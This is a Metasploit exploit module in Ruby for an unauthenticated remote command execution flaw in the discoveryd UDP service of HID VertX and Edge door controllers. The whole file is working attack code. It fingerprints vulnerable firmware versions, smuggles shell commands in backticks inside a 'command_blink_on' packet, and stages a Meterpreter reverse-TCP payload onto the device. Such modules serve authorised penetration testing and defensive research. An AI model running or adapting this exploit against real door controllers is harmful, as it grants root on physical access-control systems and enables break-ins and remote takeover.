##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'HID discoveryd command_blink_on Unauthenticated RCE',
      'Description' => %q{
        This module exploits an unauthenticated remote command execution
        vulnerability in the discoveryd service exposed by HID VertX and Edge
        door controllers.

        This module was tested successfully on a HID Edge model EH400
        with firmware version 2.3.1.603 (Build 04/23/2012).
      },
      'Author'      =>
        [
          'Ricky "HeadlessZeke" Lawshae', # Discovery
          'coldfusion39', # VertXploit
          'bcoles' # Metasploit
        ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Arch'        => ARCH_ARMLE,
      'Privileged'  => true,
      'References'  =>
        [
          ['ZDI', '16-223'],
          ['URL', 'https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/'],
          ['URL', 'http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html'],
          ['URL', 'https://exfil.co/2016/05/09/exploring-the-hid-eh400/'],
          ['URL', 'https://github.com/lixmk/Concierge'],
          ['URL', 'https://github.com/coldfusion39/VertXploit']
        ],
      'DisclosureDate'  => '2016-03-28',
      'DefaultOptions'  =>
        {
          'WfsDelay'          => 30,
          'PAYLOAD'           => 'linux/armle/meterpreter/reverse_tcp',
          'CMDSTAGER::FLAVOR' => 'echo'
        },
      'Targets'         => [['Automatic', {}]],
      'CmdStagerFlavor' => 'echo', # wget is available, however the wget command is too long
      'DefaultTarget'   => 0))
    register_options [ Opt::RPORT(4070) ]
  end

  def check
    connect_udp
    udp_sock.put 'discover;013;'
    res = udp_sock.get(5)
    disconnect_udp

    if res.to_s.eql? ''
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    hid_res = parse_discovered_response res
    if hid_res[:mac].eql? ''
      vprint_error 'Malformed response'
      return CheckCode::Safe
    end

    @mac = hid_res[:mac]

    vprint_good "#{rhost}:#{rport} - HID discoveryd service detected"
    vprint_line hid_res.to_s
    report_service(
      host: rhost,
      mac: hid_res[:mac],
      port: rport,
      proto: 'udp',
      name: 'hid-discoveryd',
      info: hid_res
    )

    if hid_res[:version].to_s.eql? ''
      vprint_error "#{rhost}:#{rport} - Could not determine device version"
      return CheckCode::Detected
    end

    # Vulnerable version mappings from VertXploit
    vuln = false
    version = Rex::Version.new(hid_res[:version].to_s)
    case hid_res[:model]
    when 'E400'     # EDGEPlus
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'EH400'    # EDGE EVO
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'EHS400'   # EDGE EVO Solo
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'ES400'    # EDGEPlus Solo
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'V2-V1000' # VertX EVO
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'V2-V2000' # VertX EVO
      vuln = true if version <= Rex::Version.new('3.5.1.1483')
    when 'V1000'    # VertX Legacy
      vuln = true if version <= Rex::Version.new('2.2.7.568')
    when 'V2000'    # VertX Legacy
      vuln = true if version <= Rex::Version.new('2.2.7.568')
    else
      vprint_error "#{rhost}:#{rport} - Device model was not recognized"
      return CheckCode::Detected
    end

    vuln ? CheckCode::Appears : CheckCode::Safe
  end

  def send_command(cmd)
    connect_udp

    # double escaping for echo -ne stager
    encoded_cmd = cmd.gsub("\\", "\\\\\\")

    # packet length (max 44)
    len = '044'

    # <num> of times to blink LED, if the device has a LED; else
    # <num> second to beep (very loudly) if the device does not have a LED
    num = -1 # no beep/blink ;)

    # construct packet
    req = ''
    req << 'command_blink_on;'
    req << "#{len};"
    req << "#{@mac};"
    req << "#{num}`#{encoded_cmd}`;"

    # send packet
    udp_sock.put req
    res = udp_sock.get(5)
    disconnect_udp

    unless res.to_s.start_with? 'ack;'
      fail_with Failure::UnexpectedReply, 'Malformed response'
    end
  end

  def execute_command(cmd, opts)
    # the protocol uses ';' as a separator,
    # so we issue each system command separately.
    # we're using the echo command stager which hex encodes the payload,
    # so there's no risk of replacing any ';' characters in the payload data.
    cmd.split(';').each do |c|
      send_command c
    end
  end

  def exploit
    print_status "#{rhost}:#{rport} - Connecting to target"

    check_code = check
    unless check_code == CheckCode::Appears || check_code == CheckCode::Detected
      fail_with Failure::Unknown, "#{rhost}:#{rport} - Target is not vulnerable"
    end

    # linemax is closer to 40,
    # however we need to account for additinal double escaping
    execute_cmdstager linemax: 30, :temp => '/tmp'
  end

  def parse_discovered_response(res)
    info = {}

    return unless res.start_with? 'discovered'

    hid_res = res.split(';')
    return unless hid_res.size == 9
    return unless hid_res[0] == 'discovered'
    return unless hid_res[1].to_i == res.length

    {
      :mac          => hid_res[2],
      :name         => hid_res[3],
      :ip           => hid_res[4],
      # ?           => hid_res[5], # '1'
      :model        => hid_res[6],
      :version      => hid_res[7],
      :version_date => hid_res[8]
    }
  end
end
